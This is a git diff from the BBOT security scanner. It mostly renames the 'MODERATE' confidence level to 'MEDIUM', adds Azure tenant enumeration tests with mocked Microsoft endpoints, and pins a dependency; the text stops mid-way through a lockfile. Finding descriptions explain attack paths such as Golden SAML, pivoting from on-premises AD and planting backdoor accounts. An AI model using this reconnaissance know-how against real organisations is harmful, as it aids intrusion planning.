a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -140,7 +140,7 @@ def validate_severity(severity: str): return severity -FINDING_CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") +FINDING_CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED") @validator diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index 2d4e755f6c..d2a3adafe9 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -446,6 +446,8 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Azure AD Desktop SSO Enabled", "description": f"Azure AD Desktop SSO (Seamless SSO) is enabled for {domain}, indicating pass-through authentication or password hash sync from on-premises Active Directory. This reveals hybrid infrastructure where compromising the on-premises environment could provide a pivot point into Azure AD.", + "severity": "INFORMATIONAL", + "confidence": "MEDIUM", }, "FINDING", parent=event, @@ -459,6 +461,8 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Certificate-Based Authentication Enabled", "description": f"Certificate-based authentication is enabled for {domain}. This provides an alternative authentication vector where stolen or compromised certificates can be used for access, potentially bypassing MFA and password-based security controls.", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, @@ -473,6 +477,8 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Azure Government Cloud Tenant", "description": f"{domain} is hosted on Azure Government Cloud ({cloud_type}), indicating a high-value target that likely handles sensitive government data, classified information, or critical infrastructure systems.", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, @@ -486,6 +492,8 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Directory Synchronization Enabled", "description": f"Directory synchronization (Azure AD Connect or Cloud Sync) is enabled for {domain}, indicating hybrid identity infrastructure. Compromising the on-premises Active Directory would allow an attacker to sync malicious changes to Azure AD, including creating backdoor accounts.", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, @@ -499,8 +507,11 @@ async def emit_findings(self, event, domain, tenant_data): { "host": domain, "url": fed_url, + "full_url": fed_url, # Preserve full URL with query string "name": "Federated Authentication Detected", "description": f"{domain} uses federated authentication with an external identity provider at {fed_url}. Compromising the federated IdP would grant access to Azure AD, and misconfigurations in the federation trust can be exploited (e.g., Golden SAML attacks).", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 9c6b61d8c9..4c0e409d7d 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -61,7 +61,7 @@ async def handle_event(self, event): "description": f"Possible [{r_dict['signature']}] via direct BadDNS analysis. Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]", "host": str(event.host), "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", } await self.emit_event( diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 648c32c2ce..60a184a941 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -223,7 +223,7 @@ async def interactsh_callback(self, r): self.debug(f"Emitting event with description: {description}") # Debug the final description - confidence = "CONFIRMED" if protocol == "HTTP" else "MODERATE" + confidence = "CONFIRMED" if protocol == "HTTP" else "MEDIUM" event_data = { "host": str(matched_event.host), "url": matched_event.data, diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index c7da42d89c..f2511bb360 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -44,7 +44,7 @@ async def interactsh_callback(self, r): matched_event = match[0] matched_technique = match[1] protocol = r.get("protocol").upper() - confidence = "HIGH" if protocol == "HTTP" else "MODERATE" + confidence = "HIGH" if protocol == "HTTP" else "MEDIUM" await self.emit_event( { "host": str(matched_event.host), diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 5c53217bd6..c53941841b 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -346,7 +346,7 @@ class safety_counter_obj: "host": str(event.host), "url": event.data, "description": f"Possible backup file (zip) in web root: {normalized_url}{url_hint}", - "confidence": "MODERATE", + "confidence": "MEDIUM", "severity": "MEDIUM", }, "FINDING", diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index a64794ea46..c019758432 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -734,7 +734,7 @@ def __init__(self, excavate): signature_component_list.append(rf"${signature_name} = {signature}") signature_component = " ".join(signature_component_list) self.yara_rules["error_detection"] = ( - f'rule error_detection {{meta: description = "contains a verbose error message" severity = "INFORMATIONAL" confidence = "MODERATE" strings: {signature_component} condition: any of them}}' + f'rule error_detection {{meta: description = "contains a verbose error message" severity = "INFORMATIONAL" confidence = "MEDIUM" strings: {signature_component} condition: any of them}}' ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): @@ -766,7 +766,7 @@ def __init__(self, excavate): regexes_component_list.append(rf"${regex_name} = /\b{regex.pattern}/") regexes_component = " ".join(regexes_component_list) self.yara_rules["serialization_detection"] = ( - f'rule serialization_detection {{meta: description = "contains a possible serialized object" severity = "INFORMATIONAL" confidence = "MODERATE" strings: {regexes_component} condition: any of them}}' + f'rule serialization_detection {{meta: description = "contains a possible serialized object" severity = "INFORMATIONAL" confidence = "MEDIUM" strings: {regexes_component} condition: any of them}}' ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index c253d24323..6f3ebe5816 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -76,7 +76,7 @@ async def fuzz(self): { "name": "Possible Command Injection", "severity": "CRITICAL", - "confidence": "MODERATE", + "confidence": "MEDIUM", "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 03249a706d..eb866eac8f 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -152,7 +152,7 @@ async def fuzz(self): { "name": "Possible Path Traversal", "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [Absolute Path: {path}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 869432a3e9..a10adc4846 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -101,7 +101,7 @@ async def fuzz(self): { "name": "Possible SQL Injection", "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [SQL Error Detection] Detected String: [{sqli_error_string}]", } ) @@ -123,7 +123,7 @@ async def fuzz(self): { "name": "Possible SQL Injection", "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", } ) diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 1bb3c48ec2..9fcad7aaa3 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -92,7 +92,7 @@ async def check_probe(self, cookies, probe, match, context): { "name": "Possible Reflected XSS", "severity": "MEDIUM", - "confidence": "MODERATE", + "confidence": "MEDIUM", "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]", } ) diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index d5a44794f3..c6fc23d812 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -12,7 +12,7 @@ class WebhookOutputModule(BaseOutputModule): message_size_limit = 2000 content_key = "content" severities = ["INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"] - confidences = ["UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED"] + confidences = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"] # abort module after 10 failed requests (not including retries) _api_failure_abort_threshold = 10 diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 9dc0161ff4..6cc7c6e92b 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -123,7 +123,7 @@ async def handle_event(self, event): source_metadata, ) in self.execute_trufflehog(module, path): verified_str = "Verified" if verified else "Possible" - confidence = "CONFIRMED" if verified else "MODERATE" + confidence = "CONFIRMED" if verified else "MEDIUM" data = { "name": f"TruffleHog - {detector_name}", "description": f"{verified_str} Secret Found. Detector Type: [{detector_name}] Decoder Type: [{decoder_name}] Details: [{source_metadata}]", diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 0bb6f112a1..835ab5e5ad 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -180,7 +180,7 @@ def parse_wp_misc(self, interesting_json, base_url, source_event): "host": str(source_event.host), "name": "WPScan - Possible Vulnerability", "severity": "INFORMATIONAL", - "confidence": "MODERATE", + "confidence": "MEDIUM", }, "FINDING", source_event, @@ -201,7 +201,7 @@ def parse_wp_version(self, version_json, url, source_event): yield self.make_event( { "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(wp_vuln), @@ -228,7 +228,7 @@ def parse_wp_themes(self, theme_json, url, source_event): yield self.make_event( { "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(theme_vuln), @@ -259,7 +259,7 @@ def parse_wp_plugins(self, plugins_json, base_url, source_event): yield self.make_event( { "severity": "HIGH", - "confidence": "MODERATE", + "confidence": "MEDIUM", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(vuln), diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5a948a734a..5233ce68f5 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -401,7 +401,7 @@ async def test_events(events, helpers): # test confidence colors and formatting from bbot.core.event.base import FINDING - expected_colors = {"CONFIRMED": "🟣", "HIGH": "🔴", "MODERATE": "🟠", "LOW": "🟡", "UNKNOWN": "⚪"} + expected_colors = {"CONFIRMED": "🟣", "HIGH": "🔴", "MEDIUM": "🟠", "LOW": "🟡", "UNKNOWN": "⚪"} assert FINDING.confidence_colors == expected_colors # test CONFIRMED gets bold formatting @@ -994,7 +994,7 @@ def test_event_closest_host(): assert not event3.host # finding automatically uses the host from the second event finding = scan.make_event( - {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + {"description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"}, "FINDING", parent=event3, ) @@ -1018,7 +1018,7 @@ def test_event_closest_host(): assert not event3.host with pytest.raises(ValueError): finding = scan.make_event( - {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + {"description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"}, "FINDING", parent=event3, ) @@ -1027,7 +1027,7 @@ def test_event_closest_host(): "path": "/tmp/asdf.txt", "description": "test", "severity": "LOW", - "confidence": "MODERATE", + "confidence": "MEDIUM", "name": "Test Finding", }, "FINDING", @@ -1039,7 +1039,7 @@ def test_event_closest_host(): "host": "evilcorp.com", "description": "test", "severity": "LOW", - "confidence": "MODERATE", + "confidence": "MEDIUM", "name": "Test Finding", }, "FINDING", diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 6c7b0d1890..36c88f4b18 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -385,7 +385,7 @@ async def handle_event(self, event): "description": "asdf", "name": "Finding", "severity": "LOW", - "confidence": "MODERATE", + "confidence": "MEDIUM", }, "FINDING", event, diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py index ee15d1a6dd..e69f50f5a1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py +++ b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py @@ -1,7 +1,111 @@ from .base import ModuleTestBase -class TestAzure_Tenant(ModuleTestBase): +class AzureTenantTestBase(ModuleTestBase): + """Base class for Azure Tenant tests with common setup""" + + modules = ["azure_tenant"] + targets = ["blacklanternsecurity.com"] + + # Override these in subclasses to customize behavior + include_onmicrosoft = False + desktop_sso_enabled = False + certificate_auth_enabled = False + cloud_type = None # None, "dod", "gcc-high" + federation_url = None + exchange_online = False + directory_sync_enabled = False + + async def setup_after_prep(self, module_test): + # Build email domains + email_domains = ["blacklanternsecurity.com"] + if self.include_onmicrosoft: + email_domains.append("blacklanternsecurity.onmicrosoft.com") + + # Mock azmap.dev response + module_test.httpx_mock.add_response( + url="https://azmap.dev/api/tenant?domain=blacklanternsecurity.com&extract=true", + json={ + "tenant_id": "test-tenant-id", + "tenant_name": "blacklanternsecurity", + "email_domains": email_domains, + }, + ) + + # Mock ODC endpoint + module_test.httpx_mock.add_response( + url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=blacklanternsecurity.com", + json={}, + ) + + # Mock OpenID configuration + openid_config = {} + if self.cloud_type == "dod": + openid_config = { + "tenant_region_scope": "DOD", + "tenant_region_sub_scope": "DOD", + "cloud_instance_name": "login.microsoftonline.us", + } + elif self.cloud_type == "gcc-high": + openid_config = { + "tenant_region_scope": "DODCON", + "tenant_region_sub_scope": "DODCON", + "cloud_instance_name": "login.microsoftonline.us", + } + + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/blacklanternsecurity.com/.well-known/openid-configuration", + json=openid_config, + ) + + # Mock GetCredentialType + getcred_response = {"EstsProperties": {}, "Credentials": {}} + if self.desktop_sso_enabled: + getcred_response["EstsProperties"]["DesktopSsoEnabled"] = True + if self.certificate_auth_enabled: + getcred_response["Credentials"]["HasCertAuth"] = True + if self.federation_url: + getcred_response["Credentials"]["FederationRedirectUrl"] = self.federation_url + + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/GetCredentialType", + method="POST", + json=getcred_response, + ) + + # Mock UserRealm v2.0 + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/userrealm/test@blacklanternsecurity.com?api-version=2.0", + json={}, + ) + + # Mock MTA-STS + if self.exchange_online: + module_test.httpx_mock.add_response( + url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt", + text="version: STSv1\nmode: enforce\nmx: blacklanternsecurity-com.mail.protection.outlook.com\nmax_age: 604800", + ) + else: + module_test.httpx_mock.add_response( + url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt", + status_code=404, + ) + + # Mock Directory Sync check if needed + if self.include_onmicrosoft: + sync_result = 0 if self.directory_sync_enabled else 1 + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/GetCredentialType", + method="POST", + json={"IfExistsResult": sync_result}, + ) + + +class TestAzure_Tenant(AzureTenantTestBase): + """Test basic Azure tenant enumeration""" + + include_onmicrosoft = True + tenant_response = { "tenant_id": "cc74fc12-4142-400e-a653-f98bdeadbeef", "tenant_name": "blacklanternsecurity", @@ -15,11 +119,46 @@ class TestAzure_Tenant(ModuleTestBase): } async def setup_after_prep(self, module_test): + # Use custom response for this test module_test.httpx_mock.add_response( url="https://azmap.dev/api/tenant?domain=blacklanternsecurity.com&extract=true", json=self.tenant_response, ) + module_test.httpx_mock.add_response( + url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=blacklanternsecurity.com", + json={"TenantId": "cc74fc12-4142-400e-a653-f98bdeadbeef"}, + ) + + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/blacklanternsecurity.com/.well-known/openid-configuration", + json={ + "tenant_region_scope": "NA", + "cloud_instance_name": "microsoftonline.com", + }, + ) + + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/GetCredentialType", + json={"EstsProperties": {}, "Credentials": {}}, + ) + + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/userrealm/test@blacklanternsecurity.com?api-version=2.0", + json={"NameSpaceType": "Managed"}, + ) + + module_test.httpx_mock.add_response( + url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt", + status_code=404, + ) + + # Directory sync check + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/GetCredentialType", + json={"IfExistsResult": 1}, + ) + def check(self, module_test, events): assert any( e.type.startswith("DNS_NAME") @@ -34,3 +173,148 @@ def check(self, module_test, events): and "blacklanternsecurity" in e.data["tenant-names"] for e in events ) + + +class TestAzure_Tenant_DesktopSSO(AzureTenantTestBase): + """Test Desktop SSO detection and FINDING emission""" + + desktop_sso_enabled = True + + def check(self, module_test, events): + assert any(e.type == "AZURE_TENANT" and e.data.get("desktop-sso-enabled") is True for e in events), ( + "AZURE_TENANT should have desktop-sso-enabled=True" + ) + + assert any( + e.type == "FINDING" + and e.data.get("name") == "Azure AD Desktop SSO Enabled" + and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("confidence") == "MEDIUM" + and "azure-sso" in e.tags + for e in events + ), "Should emit Desktop SSO FINDING with correct severity and confidence" + + +class TestAzure_Tenant_CertificateAuth(AzureTenantTestBase): + """Test Certificate-Based Authentication detection""" + + certificate_auth_enabled = True + + def check(self, module_test, events): + assert any(e.type == "AZURE_TENANT" and e.data.get("certificate-auth-enabled") is True for e in events), ( + "AZURE_TENANT should have certificate-auth-enabled=True" + ) + + assert any( + e.type == "FINDING" + and e.data.get("name") == "Certificate-Based Authentication Enabled" + and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("confidence") == "HIGH" + and "azure-cba" in e.tags + for e in events + ), "Should emit Certificate Auth FINDING with correct severity and confidence" + + +class TestAzure_Tenant_GovCloud(AzureTenantTestBase): + """Test Government Cloud detection (DoD)""" + + cloud_type = "dod" + + def check(self, module_test, events): + assert any(e.type == "AZURE_TENANT" and e.data.get("cloud-type") == "dod" for e in events), ( + "AZURE_TENANT should have cloud-type=dod" + ) + + assert any( + e.type == "FINDING" + and e.data.get("name") == "Azure Government Cloud Tenant" + and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("confidence") == "HIGH" + and "azure-gov-cloud" in e.tags + for e in events + ), "Should emit Government Cloud FINDING with HIGH severity" + + +class TestAzure_Tenant_GCCHigh(AzureTenantTestBase): + """Test GCC High Government Cloud detection""" + + cloud_type = "gcc-high" + + def check(self, module_test, events): + assert any(e.type == "AZURE_TENANT" and e.data.get("cloud-type") == "gcc-high" for e in events), ( + "AZURE_TENANT should have cloud-type=gcc-high" + ) + + assert any( + e.type == "FINDING" + and e.data.get("name") == "Azure Government Cloud Tenant" + and "gcc-high" in e.data.get("description", "") + and "azure-gov-cloud" in e.tags + for e in events + ), "Should emit Government Cloud FINDING for GCC High" + + +class TestAzure_Tenant_DirectorySync(AzureTenantTestBase): + """Test Directory Synchronization detection""" + + include_onmicrosoft = True + directory_sync_enabled = True + + def check(self, module_test, events): + assert any(e.type == "AZURE_TENANT" and e.data.get("directory-sync-enabled") is True for e in events), ( + "AZURE_TENANT should have directory-sync-enabled=True" + ) + + assert any( + e.type == "FINDING" + and e.data.get("name") == "Directory Synchronization Enabled" + and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("confidence") == "HIGH" + and "azure-dir-sync" in e.tags + for e in events + ), "Should emit Directory Sync FINDING" + + +class TestAzure_Tenant_FederatedAuth(AzureTenantTestBase): + """Test Federated Authentication detection""" + + federation_url = "https://authfs.example.com/adfs/ls/?username=test%40blacklanternsecurity.com" + + def check(self, module_test, events): + assert any( + e.type == "AZURE_TENANT" and e.data.get("federation-redirect-url") == self.federation_url for e in events + ), "AZURE_TENANT should have federation-redirect-url" + + assert any( + e.type == "FINDING" + and e.data.get("name") == "Federated Authentication Detected" + and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("confidence") == "HIGH" + and e.data.get("full_url") == self.federation_url # full_url preserves query string + and e.data.get("url") == "https://authfs.example.com/adfs/ls/" # url is cleaned + and "azure-federated" in e.tags + for e in events + ), "Should emit Federated Auth FINDING with INFORMATIONAL severity" + + # URL_UNVERIFIED also gets cleaned (query string removed) + assert any( + e.type == "URL_UNVERIFIED" + and e.data == "https://authfs.example.com/adfs/ls/" + and "azure-federation-url" in e.tags + for e in events + ), "Should emit URL_UNVERIFIED for federation URL" + + +class TestAzure_Tenant_ExchangeOnline(AzureTenantTestBase): + """Test Exchange Online detection via MTA-STS""" + + exchange_online = True + + def check(self, module_test, events): + assert any(e.type == "AZURE_TENANT" and e.data.get("exchange-online") is True for e in events), ( + "AZURE_TENANT should have exchange-online=True" + ) + + assert any(e.type == "AZURE_TENANT" and e.data.get("mta-sts-mode") == "enforce" for e in events), ( + "AZURE_TENANT should have mta-sts-mode" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 9e18aa9268..cef59084ec 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1112,7 +1112,7 @@ async def setup_after_prep(self, module_test): yara_rules = { "ConfirmedRule": 'rule ConfirmedRule { meta: description = "Confirmed rule" severity = "HIGH" confidence = "CONFIRMED" strings: $text = "CONFIRMED_SECRET_DATA" condition: $text }', "HighConfidenceRule": 'rule HighConfidenceRule { meta: description = "High confidence rule" severity = "MEDIUM" confidence = "HIGH" strings: $text = "HIGH_CONFIDENCE_INDICATOR" condition: $text }', - "ModerateConfidenceRule": 'rule ModerateConfidenceRule { meta: description = "Moderate confidence rule" severity = "LOW" confidence = "MODERATE" strings: $text = "MODERATE_RISK_PATTERN" condition: $text }', + "ModerateConfidenceRule": 'rule ModerateConfidenceRule { meta: description = "Moderate confidence rule" severity = "LOW" confidence = "MEDIUM" strings: $text = "MODERATE_RISK_PATTERN" condition: $text }', "LowConfidenceRule": 'rule LowConfidenceRule { meta: description = "Low confidence rule" severity = "INFORMATIONAL" confidence = "LOW" strings: $text = "LOW_CONFIDENCE_MATCH" condition: $text }', "UnknownConfidenceRule": 'rule UnknownConfidenceRule { meta: description = "Unknown confidence rule" severity = "INFORMATIONAL" confidence = "UNKNOWN" strings: $text = "UNKNOWN_PATTERN_TYPE" condition: $text }', } @@ -1128,7 +1128,7 @@ def check(self, module_test, events): confidence_findings = {f.data.get("confidence", "UNKNOWN"): f for f in findings} # Verify all confidence levels are present - expected_confidences = ["CONFIRMED", "HIGH", "MODERATE", "LOW", "UNKNOWN"] + expected_confidences = ["CONFIRMED", "HIGH", "MEDIUM", "LOW", "UNKNOWN"] for confidence in expected_confidences: assert confidence in confidence_findings, f"Missing finding with confidence: {confidence}" finding = confidence_findings[confidence] diff --git a/bbot/test/test_step_2/module_tests/test_module_oauth.py b/bbot/test/test_step_2/module_tests/test_module_oauth.py index 1e7078e840..500050aaf0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_oauth.py +++ b/bbot/test/test_step_2/module_tests/test_module_oauth.py @@ -1,7 +1,5 @@ from .base import ModuleTestBase -from .test_module_azure_realm import TestAzure_Realm as Azure_Realm - class TestOAUTH(ModuleTestBase): targets = ["evilcorp.com"] @@ -168,7 +166,13 @@ async def setup_after_prep(self, module_test): await module_test.mock_dns({"evilcorp.com": {"A": ["127.0.0.1"]}}) module_test.httpx_mock.add_response( url="https://login.microsoftonline.com/getuserrealm.srf?login=test@evilcorp.com", - json=Azure_Realm.response_json, + json={ + "NameSpaceType": "Managed", + "DomainName": "evilcorp.com", + "FederationBrandName": "evilcorp", + "TenantId": "cc74fc12-4142-400e-a653-f98bdeadbeef", + "AuthURL": "https://login.windows.net/evilcorp.com", + }, ) module_test.httpx_mock.add_response( url="https://login.windows.net/evilcorp.com/.well-known/openid-configuration", diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 2c3795cabe..95fc451fb9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1332,4 +1332,4 @@ def check(self, module_test, events): assert "Possible Secret Found" in finding_events[0].data["description"] # Trufflehog emits HIGH severity and MODERATE confidence for possible secrets assert finding_events[0].data["severity"] == "HIGH" - assert finding_events[0].data["confidence"] == "MODERATE" + assert finding_events[0].data["confidence"] == "MEDIUM" From 021d2bef9a11245ead449ae4568ea71fa5cddab5 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Tue, 17 Feb 2026 15:51:17 -0500 Subject: [PATCH 228/912] resolve conflict --- pyproject.toml | 2 +- uv.lock | 102 ++++++++++++++++++++++++------------------------- 2 files changed, 50 insertions(+), 54 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 0bccfe3ce2..5ad0aafcc9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -37,7 +37,7 @@ dependencies = [ "mmh3>=4.1,<6.0", "xxhash>=3.5.0,<4", "setproctitle>=1.3.3,<2", - "yara-python>=4.5.1,<5", + "yara-python==4.5.2", "pyzmq>=26.0.3,<28.0.0", "httpx>=0.28.1,<1", "puremagic>=1.28,<2", diff --git a/uv.lock b/uv.lock index d0efddd65b..3e6453933f 100644 --- a/uv.lock +++ b/uv.lock @@ -252,7 +252,7 @@ requires-dist = [ { name = "wordninja", specifier = ">=2.0.0,<3" }, { name = "xmltojson", specifier = ">=2.0.2,<3" }, { name = "xxhash", specifier = ">=3.5.0,<4" }, - { name = "yara-python", specifier = ">=4.5.1,<5" }, + { name = "yara-python", specifier = "==4.5.2" }, ] [package.metadata.requires-dev] @@ -3003,58 +3003,54 @@ wheels = [ [[package]] name = "yara-python" -version = "4.5.4" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/51/38/347d1fcde4edabd338d5872ca5759ccfb95ff1cf5207dafded981fd08c4f/yara_python-4.5.4.tar.gz", hash = "sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c", size = 551142, upload-time = "2025-05-27T14:15:49.035Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/51/7f/5767870ecdde75b7991f67caa5d78d692d30239529b66262a33bb6ab12e3/yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125", size = 2471734, upload-time = "2025-05-27T14:14:03.034Z" }, - { url = "https://files.pythonhosted.org/packages/13/01/c7253b9cbeb9058deff46e332d98d8a76ecdc07235a41f1a3050348b035e/yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1", size = 208858, upload-time = "2025-05-27T14:14:04.728Z" }, - { url = "https://files.pythonhosted.org/packages/02/09/cbe63e02a7b2448cd84b78918c1d765ce17038f1e7f0a6ae25e942bdca22/yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5", size = 2478392, upload-time = "2025-05-27T14:14:06.404Z" }, - { url = "https://files.pythonhosted.org/packages/01/02/c5f2953a7dfd3055fd67581fe740c46c7b678d3760faced24674080019c8/yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4", size = 209306, upload-time = "2025-05-27T14:14:07.876Z" }, - { url = "https://files.pythonhosted.org/packages/be/70/a7bd03cbf1ac7e9fcfe292b3dfad181d7fb7eabf6d0ee493f7c5b2386238/yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97", size = 2240111, upload-time = "2025-05-27T14:14:09.246Z" }, - { url = "https://files.pythonhosted.org/packages/0a/3d/0b0eadc8b39aa61cc04337d60b15fdebccaf662877a30604baadf760a4f5/yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080", size = 2323286, upload-time = "2025-05-27T14:14:10.688Z" }, - { url = "https://files.pythonhosted.org/packages/c4/30/aab92c73b02bdda575f9507108c9617708f8d6812647a0654bc44447fc20/yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d", size = 2327981, upload-time = "2025-05-27T14:14:13.044Z" }, - { url = 